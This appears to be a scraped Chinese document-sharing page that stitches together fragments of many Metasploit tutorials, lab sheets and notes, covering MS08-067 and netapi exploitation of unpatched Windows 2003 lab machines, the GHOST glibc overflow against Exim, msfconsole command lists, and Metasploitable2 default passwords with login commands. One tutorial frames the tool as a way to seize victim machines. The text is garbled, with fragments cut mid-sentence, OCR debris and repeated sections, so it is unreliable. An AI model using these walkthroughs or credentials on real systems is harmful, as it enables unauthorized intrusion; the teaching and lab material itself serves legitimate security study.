Metasploit 目录 一、metasploit简介 (1) 二、搭建metasploit环境 (1) 三、metasploit的使用 (2) 四、Metasploit攻击方法分类 (3) 五、Metasploit架构 (4) 六、Metasploit二次开发方法 (6) 七、安全软件常用检测方法 (6) 八、Metasploit反检测方法 (7) 九、一般攻击的过程 (7) 十、恶意软件分类 (8) 十一、exploits详细解析之proftp_telnet_iac.rb (8) 一、metasploit简介 Metasploit是一款开源的安全漏洞检测工具,同时Metasploit是免费的工具,因此安全工作人员常用Metasploit工具来检测系统的安全性。Metasploit Framework (MSF) 在2003年以开放源码方式发布,是可以自由获取的开发框架。它是一个强大的开源平台,供开发,测试和使用恶意代码,这个环境为渗透测试、shellcode 编写和漏洞研究提供了一个可靠平台。 这种可以扩展的模型将负载控制(payload)、编码器(encode)、无操作生成器(nops)和漏洞整合在一起,使Metasploit Framework 成为一种研究高危漏洞的途径。它集成了各平台上常见的溢出漏洞和流行的 shellcode ,并且不断更新。 目前的版本收集了数百个实用的溢出攻击程序及一些辅助工具,让人们使用简单的方法完成安全漏洞检测,即使一个不懂安全的人也可以轻松的使用它。当然,它并不只是一个简单的收集工具,提供了所有的类和方法,让开发人员使用这些代码方便快速的进行二次开发。 其核心中一小部分由汇编和C语言实现,其余由ruby实现。不建议修改汇编和C语言部分。 二、搭建metasploit环境 Windows环境下安装。 从官方网站https://www.360docs.net/doc/1f10715171.html,/下载windows版本的安装版,直接安装即可。安装的版本是3.5.1。安装时需要注意以下两点: 1在安装的时候要关闭杀毒软件。否则的话会导致杀毒软件和metasploit冲突,导致安装失败。 2在控制面版——区域和语言选项——选择英文(美国)——高级选项卡中选择英文(美国)。因为在安装的时候,会进行检测,如果属于非英文地区会导致安装失败。

metasploit 渗透2003server教程

Metasploit 渗透未打补丁的windows 2003 server 教程 演示之前,我先介绍一下演示的环境配置:使用Vware10.0构建两个虚拟机,分别采用kali-linux和windows 2003 server sp3操作系统,宿主机操作系统是windows 7。首先将windows 2003 server sp3 虚拟机作为被渗透的目标机,IP地址为192.168.1.103;kali-linux虚拟机作为攻击机,IP地址为192.168.1.2。之所以选择kali-linux系统作为攻击机,是因为其本身就是黑客最常用攻击的平台,系统整合了许多用于攻击的程序。Kali-linux系统界面如下图1所示。靶机windows2003server sp3 系统如图2 所示。 图1 目标主机的截图

图2 首先,在kali-linux系统终端运行:service postgresql start和service metasploit start 两个命令,其中前者是开启SQL数据库服务的命令,后者是运行metasploit渗透测试框架程序的命令。如图3所示,表明服务运行成功。接着在终端输入msfconsole命令,运行metasploit 命令行程序,程序运行成功。如图4所示。 开启服务

图3 运行msfconsole 图4 由于windows 2003 server 是微软应用最广泛的企业级操作系统之一,这次我们针对其netapi32.dll漏洞进行渗透。至于为什么会针对此漏洞进行渗透,是因为通过前期大量的扫描获得了主机存在这个漏洞信息,这些工作不在此次演示范围,在此忽略。 第二步,运行search netapi 命令搜索netapi,在metasploit框架中列出所有与netapi相关的漏洞利用代码。如图5所示。

基于Metasploit利用GHOST漏洞最终版

基于Metasploit利用GHOST 漏洞获得远程Exim邮件服务器SHELL 分析阶段 1.GHOST漏洞分析及其条件限制 2.如何利用受GHOST漏洞影响的Exim服务的原理 实际操作阶段 1.渗透环境搭建:KaliLinux与Metasploit 2.使用Nmap对目标进行端口扫描及服务查点 3.快速检查被渗透目标是否存在ghost漏洞 4.使用Metasploit加载GHOST漏洞攻击模块进行远程入侵,获得远程主 机shell ========= 分析开始 ========= GHOST漏洞分析及其条件限制 GHOST漏洞是2015年1月27号公布的Linux底层漏洞,国际编号为CVE-2015-0235,存在于GNU C库(glibc)中,受影响的Linux发现版本有:Debian 7 (wheezy),Red Hat Enterprise,Linux 6 & 7,CentOS 6 & 7,Ubuntu 12.04等。 存在漏洞的函数__nss_hostname_digits_dots()由glibc的非重入版本的文件:

nss/getXXbyYY.c,以及重入版本:nss/getXXbyYY_r.c提供。然而,这个函数的调用是由#ifdef HANDLE_DIGITS_DOTS来定义的,这个宏定义只在这几个文件有: - inet/gethstbynm.c - inet/gethstbynm2.c - inet/gethstbynm_r.c - inet/gethstbynm2_r.c - nscd/gethstbynm3_r.c 以上这些文件实现gethostbyname*()函数族,因此也只有它们会调用__nss_hostname_digits_dots(),并且可能触发它的缓冲区溢出。该函数的作用是:“如果主机名是IPv4/IPv6地址,就跳过费时的DNS查找”。 glibc-2.17的代码如下: 35 int 36 __nss_hostname_digits_dots (const char *name, struct hostent *resbuf, 37 char **buffer, size_t *buffer_size, 38 size_t buflen, struct hostent **result, 39 enum nss_status *status, int af, int *h_errnop) 40 { .. 57 if (isdigit (name[0]) || isxdigit (name[0]) || name[0] == ':') 58 { 59 const char *cp; 60 char *hostname; 61 typedef unsigned char host_addr_t[16]; 62 host_addr_t *host_addr; 63 typedef char *host_addr_list_t[2]; 64 host_addr_list_t *h_addr_ptrs; 65 char **h_alias_ptr; 66 size_t size_needed; .. 85 size_needed = (sizeof (*host_addr) 86 + sizeof (*h_addr_ptrs) + strlen (name) + 1); 87 88 if (buffer_size == NULL) 89 { 90 if (buflen < size_needed) 91 { .. 95 goto done;

完整版Metasploit利用溢出漏洞远控Windows靶机操作指南

1网络测试环境构建 首先需要先配置好一个渗透测试用的网络环境, 包括如图1所示的运行Kali Linux 系统的计算机,如图2所示的Windows Server 2003系统的计算机和如图 3所示的运行 Windows 7系统的计算机。显然这三台计算机处于同一个网段中, 可以相互通讯,Kali 系统用作攻击机,下面将在此系统上运行 Metasploit 进行 渗透测试,而 Windows 2003和Windows 7系统都是本次任务中需要进行渗透入 图1 Kali 攻击机 侵的靶机,保持安装后的默认状态,没有打额外的系统安全补丁。 root Mlflj 2 Ki3) f 厂 mine: 0 carrie 『;3 F 叽 r-1j 3 kA 丄PM AppLitutlgin 兮 PLic 砂常 l*-l Link enc ap r Lor al L 二口pback Irwt 1 LmtB add r i : :1/12B UP LOOPBACK RUNNING packets : 32 归「厂口 [厂石 TX packets : 32 er rars RX fl -4 IFcanflg Llrik anc4p :EThemQt HWidek ftG L G C .29^30:25: fl inot addr-l :0_] 0.10.13? Beast 11?. 10.13.255 貼 Lnatfi addn fgfid r 1513c = 29f f : fofifli:25t 1/^4 JScjppa : I UP BROADCAST HUftNI^G MULHC4ST hlTU:垢舲 Moir R H pKket§: 136S7 errors:? repped :9 ovtrnjri9:9 IM packets :2S£I 92 e r r : rs:& d repp^d : G overnjfisM3 c oil 丄^icns : D t Kqdfi je L 色n :1 HUJ X J ftH b>T?:9U9JS {?Q,5 Kim TK b/tH :117672Lfi Hwle 苦乩(L0卫 Stope: Hast MTU: 655 3S Metric:! i z B dropped ; 3 o^erruriB : 0 i :0 dropped :fl overruns :A :? _ ilo fc&i Via^r Sajieh T

metasploit命令集

Metasploit Framework命令汇总一、msfconsole ? 帮助菜单 back 从当前环境返回 banner 显示一个MSF banner cd 切换目录 color 颜色转换 connect 连接一个主机 exit 退出MSF help 帮助菜单 info 显示一个或多个模块的信息 irb 进入irb脚本模式 jobs 显示和管理作业 kill 杀死一个作业 load 加载一个插件 loadpath 在一个路径搜索并加载模块 quit 退出MSF resource 运行存储在一个文件中的命令 route 查看一个会话的路由信息 save 保存动作 search 搜索模块名和描述 set 给一个变量赋值 setg 把一个值赋给全局变量 show 显示所给类型的模块,或所有模块 sleep 在限定的秒数内什么也不做 unload 卸载一个模块 unset 解除一个或多个变量 unsetg 解除一个或多个全局变量 use 通过名称选择一个模块 version 显示MSF和控制台库版本号 二、database db_add_host 添加一个或多个主机到数据库 db_add_note 添加一个注释到主机 db_add_port 添加一个端口到主机 db_connect 连接一个存在的数据库 db_create 创建一个新的数据库实例 db_del_host 从数据库删除一个或多个主机 db_del_port 从数据库删除一个端口 db_destroy 删除一个存在的数据库 db_disconnect 断开与当前数据库实例的连接 db_driver 指定一个数据库驱动 db_hosts 列出数据库中的所有主机

Metasploit命令行下的使用

强大溢出工具包:Metasploit命令行下的使用https://www.360docs.net/doc/1f10715171.html,/bbs/jsp/view.jsp?articleID=1709641 Metasploit 是个好东西,实在想不到别的办法了,或许这东西能帮你一下,Metasploit包含了众多exploit,说不准还能用上几个,搞几台好肉鸡. 下载Metasploit双击进行安装,非常简单,一路回车就行了。安装完之后看下安装目录下的Msfconsole.bat 和msfweb.bat,第一个是命令下的控制台。第二个是图形界面下的程序。现在我们先来看下命令行下的使用方法,运行后我们看到的是metasploit的欢迎界面,输入“?”查看帮助,如图1 看到很多命令吧,我们来解释一下 “?”帮助 “cd” :这个命令大家都熟悉,和WIN下面一样,切换目录 “exit”这个就是退出的意思 “info”显示当前程序信息 “quit”退出程序 “reload”加载exploit和payloads “save”保存设置 “setg”设置一个环境变量 “show”显示当前可用的exploit “ use”选择一个exp “version”显示程序版本 这么多命令看起来肯定有些晕了吧其实用到的就"show" "info" "use"这3个,我们来看看是怎么使用的 这个程序就是一个大的工具包,集成了N多EXPLOIT,我们可以用show exploits看看有哪些exploit程序,如图2

Return to Gallery | Original Image 看到了吧?这么多溢出程序,想用哪个就用哪个,省得整天找。这么多的东西该怎么用呢??比如我想用一个溢出程序,肯定得先看他的帮助了解使用方法。这就得用到info命令啦。这个命令就是显示溢出程序

Metasploit利用溢出漏洞远控Windows靶机操作指南

1 网络测试环境构建 首先需要先配置好一个渗透测试用的网络环境,包括如图1所示的运行Kali Linux系统的计算机,如图2所示的Windows Server 2003系统的计算机和如图3所示的运行Windows 7系统的计算机。显然这三台计算机处于同一个网段中,可以相互通讯,Kali系统用作攻击机,下面将在此系统上运行Metasploit进行渗透测试,而Windows 2003和Windows 7系统都是本次任务中需要进行渗透入侵的靶机,保持安装后的默认状态,没有打额外的系统安全补丁。 图1 Kali攻击机

图2 Windows 2003靶机 图3 Windows 7 靶机

2 扫描靶机 在正式开始渗透之前,应该对靶机进行扫描探测工作,搞清楚渗透目标的系统类型、开放的端口服务、可能存在的安全漏洞等。 如图4所示,在Kali攻击机上执行Msfconsole命令,即可进入Metasploit 环境,如图5所示。 图3-4 msfconsole命令 图5 进入msf环境

现在可以利用MSF框架中集成的Nmap扫描器对渗透测试目标进行扫描,如图6和7所示,获取了靶机的开放服务和操作系统类型等信息。 图6 Windows 2003扫描结果

图7 Windows 7扫描结果 利用扫描器的脚步插件,还有可能直接探测出目标系统的安全漏洞,例如如图8所示,Nmap利用smb-check-vulns插件扫描探测出了Windows 2003靶机存 在MS08_067漏洞。

图8 漏洞扫描结果 3 利用MS08_067漏洞渗透入侵 MS08_067是一个曾经在各种Windows操作系统中广泛存在,而且危害特别严重的缓冲器溢出类型的漏洞,利用它可以在无需知道任何账户密码,也不需要受害者配合的情况下,通过网络直接远程控制受害的计算机。 为实现Metasploit在Windows操作系统的渗透测试,Metasploit目前提供了三种用户使用接口,一个是GUI模式,另一个是console模式,第三个是CLI (命令行)模式。目前这三种模式各有优缺点,本文仅使用MSF console模式。因为在console中可以使用MSF 所提供的所有功能,还可以在console中执行一些其他的外部命令,如ping。 既然已经知道Windows 2003靶机存在MS08_067漏洞,下面就在Metasploit 环境中利用它进行渗透入侵。 首先,通过使用“search”命令,搜索该漏洞对应的模块,并启用该渗透攻击模块查看基本信息,然后,输入use exploit/Windows/smb/ms08_067_netapi 命令表示选择利用这个漏洞,如图9所示。 图9 选择漏洞

Metasploit使用教程

这个工具包分Linux/Unix版的和Windows版,考虑到大多数人都是使用的Windows系统,这里我把Windows 版的Metasploit使用方法说明一下,至于Linux/Unix下的使用方法和Windows下的也是大同小异,这里就不额外的说明了。 下载回Metasploit的安装程序之后双击安装,傻瓜化的安装过程,这里就不多说了。安装完成后可以看到安装目录下多了很多文件,主要的是:Msfconsole.bat和Msfweb.bat。第一个是这个工具包的控制台,第二个是这个程序的图形界面下的程序,下面我将和大家一起来领略它们的魅力!。 命令行下使用Metasploit 运行后首先看到的是Metasploit欢迎界面,我们输入“?”得到在线帮助(如图1所示): 图1 可以看到里面有很多的命令,下面我将最重要的几个做简单解释: “?”:得到帮助。 “cd”:更换当前的工作目录。 “exit”:退出。 “help”:得到帮助。 “info”:显示当前程序的信息。 “quit”:推出程序。 “reload”:载入Exploit和payloads。

“save”:保存当前设置 “setg”:设置一个环境变量。 “show”:显示可用的Exploit和payloads。 “use”:使用一个Exploit。 “version”:显示程序的版本。 虽然有这么多的命令可是常用的也就是“show”、“info”和“use”而已,它们究竟怎么使用呢? 此程序集成了众多的Exploit,所以我们要先了解一下程序中到底有那些溢出工具包,输入“show Exploits”看有哪些可用的Exploit程序先(如图2所示): 图2 左面显示的是溢出程序的程序名称,右面是相应的简介。可以看到Metasploit中带的溢出程序包还是很多的,完全可以满足我们日常入侵的需要,以后我们就再也不用到存放溢出程序的文件夹中去找半天对应的程序了! 知道了有什么溢出程序,但是怎么使用呢?一般情况下,当我们拿到一个溢出程序后要先阅读溢出程序的帮助文件来查看使用方法,在Metasploit中怎样查看我们需要的溢出程序的使用方法呢?这就用到了Info 命令。该命令的作用是显示溢出程序包的详细信息,比如我们想要查看“iis50_webday_ntdll”溢出工具包的使用方法,在命令行下输入:“info Exploit iis50_webday_ntdll”后得到如图3所示的回显:

metasploit渗透终极防御终极方法总结

metasploit渗透终极防御终极方法总结 来源:本站整理作者:佚名时间:2014-07-04 TAG:我要投稿 睡不着就无聊玩玩metasploit攻击,哎让我大失所所望.整来整去是一个垃圾东东.可能詗i n还用点没有那么多安全防御手段.可是对于linux.bsd简直就是废物一个。 我使用的免费版本的metasploit,更新到了最新的漏洞配对攻击模块库.当然我也更新了最 新的xp补丁.结果硬是没搞下来。 这个软件有一个pro收费版本.不知道多少钱反正哥不信了Pro版的区别是: 1.有更多更新的攻击漏洞模块 2.集成nexo扫描模块.免费的只有nmap 3.更智能的攻击自动处理 4.有更强大的IDS/IDPevasion逃逸免杀功能(吹吧。牛就是这样上天的) 其运行的原理简单的来讲.就是: 1.使用nmapnexonss等扫描软件扫描当前目标的各种端口服务.漏洞等 2.把结果db_import到postgre数据库中去 (郁闷为什不使用mysql.memcached,redis或者直接把所有的模块直接放进mongodb中去呢)3.serach漏洞库进行端口服务比对扫描攻击 本人是菜鸟.没有能力自己发掘软件漏洞.定义攻击模块.就使用了动攻击模式: 1.db_namp-A-T4-Pn目标ip(没有使用其他的扫描工具.没意义) 2.db_autopwn-t-p-e(免费版去除了.害我自己下载装的) 3.sessionn(可惜啊.连满补丁的xp都没成功溢出.拿不到会话.也没用上悲哀! 说白了.metasploit一般来说就是使用当前被公布的或者自己定义的(高手)漏洞模块加入到漏洞仓库中去进行杀毒软件一样的反向被动扫描 但是看到很多兄弟深谙此道.动不动就搞我最爱的xp系统(估计连个补丁都不给打上).连个防火墙也不装.直接搞咱们的杀毒软件.有意思吗!我估计换一个win8都会让牛头疼. 为了让广大的和我一样的菜鸟兄弟们看清metaspoliot真面目.避免把自己有限的生命浪费在这种无用的溢出软件上(我们还有很多重要的事情要去做呢) 我这里就专门给出一些彻底防御metasploit渗透攻击的的建议.仅供参考.请勿用于生产环境.出了事与本人无关^_^: 1.所有下载的系统和服务器软件必须到官方网站下载同时进行md5sha512验证 2.安装完基本的linux系统.马上进行系统的安全升级.特别是那些重要的通用共享库.一般这个是自动的。 3.定制精简内核.去除所有无用的驱动.功能.调试模式(除非你是内核调试专家).打上Grs ecurity,tomoyo等补丁关于内核版本选择我的建议是以rheldebian的发行版为基准考虑. 没有什么必要不要选用通用的主线kernel,漏洞很多。如果为了新功能也要选择大版本号与当前的使用的debian/rhel发行版一样.小版本号必须是最高的内核.这样kapi兼容更好。

计算机系统安全 实验二-metasploit

计算机系统安全实验二: 操作系统安全与metasploit渗透测试 实验目的: 学习计算机操作系统安全相关内容。 学习操作系统渗透相关内容 学习metasploit渗透工具使用。 实验原理: Windows 操作系统安全结构 网络渗透原理 实验环境: 软件: vmware 8.0环境下, 虚拟机, vm-WinXP镜像 虚拟机,backtrack 4及backtrack 5 虚拟机镜像等。 实验拓扑: 被渗透机:使用虚拟机XP,建议使用未安装更新的英文XP操作系统,,设置其IP 地址为,自动获得,虚拟机网络连接方式NAT方式。实验室计算机network系统下中network_vm 目录中有metasploitable_XP,可使用之。 渗透测试机:使用Bt4或5作为操作系统, 准备工作: 启动两台虚拟机,按上图方式设置,请先记录下两台虚拟机的IP: 被渗透机: 操作系统:____windows xp with sp1_________ IP地址:_______192.168.160.136_____________ 渗透测试机: 操作系统:___________bt5_______ IP地址:___________192.168.160.134________ (注意,若网络连接未启用,请先启用之,linux 下可使用ifup eth0)

实验内容: 第一部分:针对操作系统内部服务端口进行渗透 了解ms08-067漏洞详情: (请课后上网查询相关内容) 漏洞描述: 曾经的冲击波、震荡波等大规模攻击都是由于Windows的RPC服务漏洞造成的,MS08-067远程溢出漏洞也不例外。MS08-067远程溢出漏洞的原因是由于Windows系统中RPC存在缺陷造成的,Windows系统的Server服务在处理特制RPC请求时存在缓冲区溢出漏洞,远程攻击者可以通过发送恶意的RPC请求触发这个溢出,如果受影响的系统收到了特制伪造的RPC请求,可能允许远程执行代码,导致完全入侵用户系统,以SYSTEM 权限执行任意指令并获取数据,并获取对该系统的控制权,造成系统失窃及系统崩溃等严重问题。 漏洞对象: 受MS08-067远程溢出漏洞影响的系统非常多,受影响的操作系统有Windows XP /2000/Vista/2003等。除Windows Server 2008 Core外,基本上所有的Windows系统都会遭受此漏洞的攻击,特别是在Windows 2000、Windows XP和Windows Server 2003系统,攻击者可以利用此漏洞无需通过认证运行任意代码。这个漏洞还可能被蠕虫利用,此安全漏洞可以通过恶意构造的网络包直接发起攻击,并且攻击者可以获取完整权限,因此该漏洞很可能会被用于制作蠕虫以进行大规模的攻击。 漏洞端口: _______445_________________________________________________ 步骤一: 启动metasploit 控制台msfconsole 记录其

Metasploit使用教程

工具包分Linux/Unix版的和Windows版,考虑到大多数人都是使用的Windows系统,这里我把Windows版的Metasploit使用方法说明一下,至于Linux/Unix下的使用方法和Windo ws下的也是大同小异,这里就不额外的说明了。 下载回Metasploit的安装程序之后双击安装,傻瓜化的安装过程,这里就不多说了。安装完成后可以看到安装目录下多了很多文件,主要的是:Msfconsole.bat和Msfweb.bat。第一个是这个工具包的控制台,第二个是这个程序的图形界面下的程序,下面我将和大家一起来领略它们的魅力!。 命令行下使用Metasploit 运行后首先看到的是Metasploit欢迎界面,我们输入“?”得到在线帮助(如图1所示): 可以看到里面有很多的命令,下面我将最重要的几个做简单解释: “?”:得到帮助。

“cd”:更换当前的工作目录。 “exit”:退出。 “help”:得到帮助。 “info”:显示当前程序的信息。 “quit”:推出程序。 “reload”:载入Exploit和payloads。 “save”:保存当前设置 “setg”:设置一个环境变量。 “show”:显示可用的Exploit和payloads。 “use”:使用一个Exploit。 “version”:显示程序的版本。 虽然有这么多的命令可是常用的也就是“show”、“info”和“use”而已,它们究竟怎么使用呢? 此程序集成了众多的Exploit,所以我们要先了解一下程序中到底有那些溢出工具包,输入“sh ow Exploits”看有哪些可用的Exploit程序先(如图2所示):

如何安装metasploit

关于Metasploit的安装 标准Metasploit安装程序使用图形界面,指导您完成整个安装过程。安装是一个简单的过程,需要通过一系列的提示来确定您要安装的工具和你想要的Metasploit使用端口的位置。你确定你的安装选项后,安装程序安装的依赖和服务正在运行Metasploit的必要。 这些都是运行Metasploit的最低要求。如果你安装了Metasploit的Nexpose终极束部分,建议您在不同的系统上安装Nexpose和Metasploit。如果你试图在同一台机器上运行这两种产品,你可能会遇到性能问题。 有关安装controlsinsightNexpose和更多信息,访问https://https://www.360docs.net/doc/1f10715171.html,/docs/ doc-1385。 在你开始之前

安装Metasploit 1。找到窗口安装程序文件,并双击安装程序图标。 2。当设置屏幕出现时,单击“下一步”继续。 3。接受许可协议,然后单击“下一步”。

4。在下一屏幕上,选择一个安装目录的工具。你选择的目录必须是空的。单击“下一步”继续。 5。当禁用反病毒和防火墙屏幕出现时,请单击“下一步”,如果您已经禁用反病毒软件和防火墙在您的本地系统。如果您没有禁用它们,请在这个时候禁用它们。 如果安装检测到防病毒软件或防火墙被启用,则显示以下警告:

单击“确定”以关闭警告。您必须禁用您的防病毒软件和防火墙。安装程序将不允许你继续安装过程,直到他们被禁用。如果你无法禁用它们,你将不能安装工具。 6。进入SSL端口,Metasploit的服务应该使用并单击“下一步”。默认情况下,Apache服务器使用端口3790用于HTTPS。如果端口已经绑定到另一个进程,你可以使用netstat确定过程是否监听,端口和杀死进程,或者你可以进入另一个端口,如8080或442。 7。输入要用于生成SSL证书,证书应在有效期,场天有效天数的Web服务器的名称。 8。选择是,信托证书自签名的SSL证书安装工具到您的操作系

metasploit

信息系统安全结课报告Metasploit的使用 姓名:曹晨业 学号:U200915352 班级:信息安全0903

选题背景: 在学习信息系统应用安全时发现了一款名字为Metasploit的渗透测试软件。它可以搜索系统漏洞,进行溢出攻击等,通过一段时间的摸索、参考网络教程和查阅相关书籍,对Metasploit 的使用有一些体会,在此简单的对Metasploit的使用做一些介绍。 实验环境 操作系统:windows 7 、windows XP、VMware虚拟机、ubunta 10.04 lts 使用软件:Metasploit Matesploit简介: Metasploit介绍: Metasploit是同HD Moore 和Spoonm等4名年轻人开发的,这款免费软件可以帮助黑客攻击和控制计算机,安全人员也可以利用Metasploit来加强系统对此类工具的攻击。Metasploit 的演示吸引了来自“美国国防部”和“国家安全局”等政府机构的众多安全顾问和个人,正如Spoonm在演讲中所说的, Metasploit很简单,只需要求“找到目标,单击和控制”即可。2004年Metasploit的发布在安全界引发了强烈的“地震”。没有一款新工具能够一发布就能挤进此列表的15 强(也就是说,2000年和2003年的调查没有这种情况),更何况此工具在5强之列,超过很多广为流传的诞生了几十年的老牌工具。 Metasploit Framework (MSF) 在2003年以开放源码方式发布,是可以自由获取的开发框架。它是一个强大的开源平台,供开发,测试和使用恶意代码,这个环境为渗透测试,shellcode 编写和漏洞研究提供了一个可靠平台。 Metasploit是一款开源的安全漏洞检测工具,同时Metasploit是免费的工具,因此安全工作人员常用Metasploit工具来检测系统的安全性。Metasploit Framework (MSF) 在2003年以开放源码方式发布,是可以自由获取的开发框架。它是一个强大的开源平台,供开发,测试和使用恶意代码,这个环境为渗透测试、shellcode编写和漏洞研究提供了一个可靠平台。 这种可以扩展的模型将负载控制(payload)、编码器(encode)、无操作生成器(nops)和漏洞整合在一起,使Metasploit Framework 成为一种研究高危漏洞的途径。它集成了各平台上常见的溢出漏洞和流行的shellcode,并且不断更新。 目前的版本收集了数百个实用的溢出攻击程序及一些辅助工具,让人们使用简单的方法完成安全漏洞检测,即使一个不懂安全的人也可以轻松的使用它。当然,它并不只是一个简单的收集工具,提供了所有的类和方法,让开发人员使用这些代码方便快速的进行二次开发。其核心中一小部分由汇编和C语言实现,其余由ruby实现。不建议修改汇编和C语言部分。 Metasploit的功能: Metasploit渗透测试框架主要包含3功能模块:msfconsole、msfweb、msfupdate。msfupdate 用于软件更新,建议使用前先进行更新,可以更新最新的漏洞库和利用代码。msfconsole是

Metasploitable2靶机漏洞-hanxu

Metasploitable2靶机漏洞 弱密码漏洞(WEAK PASSWORD) (2) SAMBA MS-RPC SHELL命令注入漏洞 (6) VSFTPD源码包后门漏洞 (7) UNREALIRCD后门漏洞 (9) LINUX NFS共享目录配置漏洞 (10) JAVA RMI SERVER命令执行漏洞 (13) TOMCAT管理台默认口令漏洞 (15) ROOT用户弱口令漏洞(SSH爆破) (18) DISTCC后门漏洞 (21) SAMBA SYSMLINK 默认配置目录遍历漏洞 (22) PHP CGI参数注入执行漏洞 (25) DRUBY 远程代码执行漏洞 (26) INGRESLOCK后门漏洞 (29)

弱密码漏洞(Weak Password) 安全组织索引 CVE: OSVDB: BID: 原理 系统或者数据库的登录用户,密码简单或者和用户名相同,容易通过暴力破解手段来获取密码。 参考链接如下: 影响系统/软件 所有使用用户名/密码登录的系统/软件都有可能存在此问题。 在Metasploitable2中,系统口令、MySQL、PostgreSQL和VNC远程登录都存在弱密码漏洞 使用工具 Kali-linux 利用步骤 系统弱密码登录 1.在kali上执行命令行telnet 7.7.5.251 23 2.login和password都输入msfadmin 3.登录成功,进入系统

4. 5.相同的步骤,弱密码还有user/user、postgres/postgres、sys/batman、klog/123456789、 service/service MySQL弱密码登录 1.在kali上执行mysql –h 7.7.5.251 –u root 2.登录成功,进入mysql系统 3. PostgreSQL弱密码登录 1.在kali上执行psql –h 7.7.5.251 –U postgres 2.输入密码postgres 3.登录成功,进入postgresql系统

Kali Linux渗透测试学习笔记--MSF

第18章Metasploit Framework 142.渗透测试者的困扰.exe 143.Metasploit简介、教材和版本对比.exe metasploit framework 是一个框架,渗透测试各个阶段的工具基本都具备,同时有灵活扩展的功能。 ruby语言开发最大的软件就是metasploit。HD More参与了shodan项目。 nessus openvas扫描出来的漏洞不一定真的存在,使用msf验证漏洞。msf集成到kali,更新kali同时会更新msf。

已购买中文第二版。 第一个是集成在kali中的版本。基于web的免费版在大批量工作时会有限制。收费版的报告功能很强大。

144.Metasploit Framework 和MSF架构.exe

数据库默认端口5432,有异常时msf启动会提示数据库连接失败。 在不启动数据库情况下命令行输入msfconsole会提示连接数据库失败。但是在不启动数据库点击桌面msf图标的时候会自动启动数据库。

145.MSF架构-技术功能模块.exe ls /usr/share/metasploit-framework/modules/exploits/windows/smb/ POC/EXP是漏洞利用方法代码,可以调用payload或者shellcode,而没有shellcode/payload 功能。 payload跟漏洞没有关系,漏洞怎么产生的,怎么利用的都没有关系。 获得shell的代码是shellcode,也可以只执行一条命令。 auxiliary里有包含DoS的模块,让目标崩溃的模块。不包含payload功能。 还有post模块,后攻击阶段的模块。

菜鸟腾飞安全网BackTrack渗透共16课全(免key)

第1课认识BackTack渗透测试平台 第2课下载与安装BackTack平台 第3课打造BackTackLiveUSB&CD 第4课BackTack环境的基本配置与汉化 第5课BackTack远程管理方法-SSHbacktack远程管理方法-ssh 第6课快速熟悉BackTack图形化界面及渗透测试工具的分类 第7课信息收集-DNS扫描工具的使用 第8课信息收集-主机综合扫描工具的使用 第9课数据库密码破解工具的使用 第10课Web安全检测工具的使用 第11课无线网络安全检测工具的使用 第12课抓包嗅探工具的使用 第13课欺骗攻击工具Ettecap的使用 第14课初识MetaSpoit渗透攻击平台 第15课密码破解工具的使用 第16课数字取证工具的使用 第1课.认识BackTrack渗透测试平台 https://www.360docs.net/doc/1f10715171.html,/file/9786051 第2课.下载与安装BackTrack平台 https://www.360docs.net/doc/1f10715171.html,/file/9786052 第3课.打造BackTrack Live USB&CD https://www.360docs.net/doc/1f10715171.html,/file/9786053 第4课.BackTrack环境的基本配置与汉化 https://www.360docs.net/doc/1f10715171.html,/file/9786054 第5课.BackTrack远程管理方法-SSH.backtrack远程管理方法-ssh https://www.360docs.net/doc/1f10715171.html,/file/9786055 第6课.快速熟悉BackTrack图形化界面及渗透测试工具的分类https://www.360docs.net/doc/1f10715171.html,/file/9786056 第7课.信息收集-DNS扫描工具的使用 https://www.360docs.net/doc/1f10715171.html,/file/9786057 第8课.信息收集-主机综合扫描工具的使用 https://www.360docs.net/doc/1f10715171.html,/file/9786058 第9课.数据库密码破解工具的使用 https://www.360docs.net/doc/1f10715171.html,/file/9786059 第10课.Web安全检测工具的使用 https://www.360docs.net/doc/1f10715171.html,/file/9786060 第11课.无线网络安全检测工具的使用 https://www.360docs.net/doc/1f10715171.html,/file/9786061 第12课.抓包嗅探工具的使用 https://www.360docs.net/doc/1f10715171.html,/file/9786062 第13课.欺骗攻击工具Ettercap的使用 https://www.360docs.net/doc/1f10715171.html,/file/9786063 第14课.初识MetaSploit渗透攻击平台

相关文档
最新文档